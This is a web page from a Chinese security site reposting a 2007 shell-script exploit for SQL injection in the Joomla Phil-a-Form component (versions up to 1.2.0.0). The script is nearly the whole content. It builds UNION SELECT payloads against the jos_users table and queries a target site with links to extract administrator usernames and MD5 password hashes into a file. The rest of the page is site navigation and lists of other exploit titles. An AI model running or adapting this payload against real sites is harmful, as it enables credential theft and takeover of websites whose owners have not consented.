首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Joomla Component Phil-a-Form <= 1.2.0.0 SQL Injection Exploit
来源:http://www.cypherxero.net 作者:CypherXero 发布时间:2007-05-29  
#!/bin/sh

#################################################################################
# #
#    Joomla Component Phil-a-Form <= 1.2.0.0 SQL Injection Exploit #
# #
# Discovered by: Cody "CypherXero" Rester #
# Payload: Admin Username and MD5 Hash Retrieval #
# Website: http://www.cypherxero.net #
# Shoutouts to the milw0rm community, the PIMP forums #
# and my blog, of course  #
# #
#################################################################################

echo "-------------------------------------------------------------------------"
echo "      Joomla Component Phil-a-Form <= 1.2.0.0 SQL Injection Exploit"
echo "-------------------------------------------------------------------------"
echo "Usage: sql_philaform_jos.sh [HOST] [FORM_ID]"
echo "[HOST] = Hostname of targetwebsite"
echo "[FORM_ID] = Form ID of Phil-a-Form post"
echo "e.g. sql_philaform_jos.sh http://www.targethost.com 2"
echo "-------------------------------------------------------------------------"
echo "                           Cody CypherXero Rester"
echo "            http://www.cypherxero.net"
echo "-------------------------------------------------------------------------"

jos_username="%20UNION%20SELECT%20null,null,username,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20jos_users%20--"
jos_password="%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20jos_users%20--"
host="$1"
form_id="$2"

if [ "$form_id" == "" ]
then
echo "Syntax not correct! See usage example!"
exit 1
else
echo ""
fi

echo "Username" > $host.txt
echo "--------" >> $host.txt
links -dump "http://$host/index.php?option=com_philaform&form_id=$form_id$jos_username" | grep -i "philaform_" | awk -F\_ '{ print $2 }' | awk '{ print $1 }' >> $host.txt
echo " " >> $host.txt
echo "MD5 Password Hash" >> $host.txt
echo "-----------------" >> $host.txt
links -dump "http://$host/index.php?option=com_philaform&form_id=$form_id$jos_password" | grep -i "philaform_" | awk -F\_ '{ print $2 }' | awk '{ print $1 }' >> $host.txt

echo ""
cat $host.txt

exit 0

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·UltraISO <= 8.6.2.2011 (Cue/Bi
·Apache 2.0.58 mod_rewrite Remo
·Fundanemt <= 2.2.0 (spellcheck
·UltraISO <= 8.6.2.2011 (Cue/Bi
·Inout Search Engine (all versi
·cpCommerce <= 1.1.0 (category.
·Pheap 2.0 Admin Bypass / Remot
·Dokeos <= 1.6.5 (courseLog.php
·Microsoft IIS <= 5.1 Hit Highl
·UltraISO <= 8.6.2.2011 (Cue/Bi
·IE6 / Provideo Camimage (ISSCa
·Microsoft Visual Basic 6.0 Pro
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved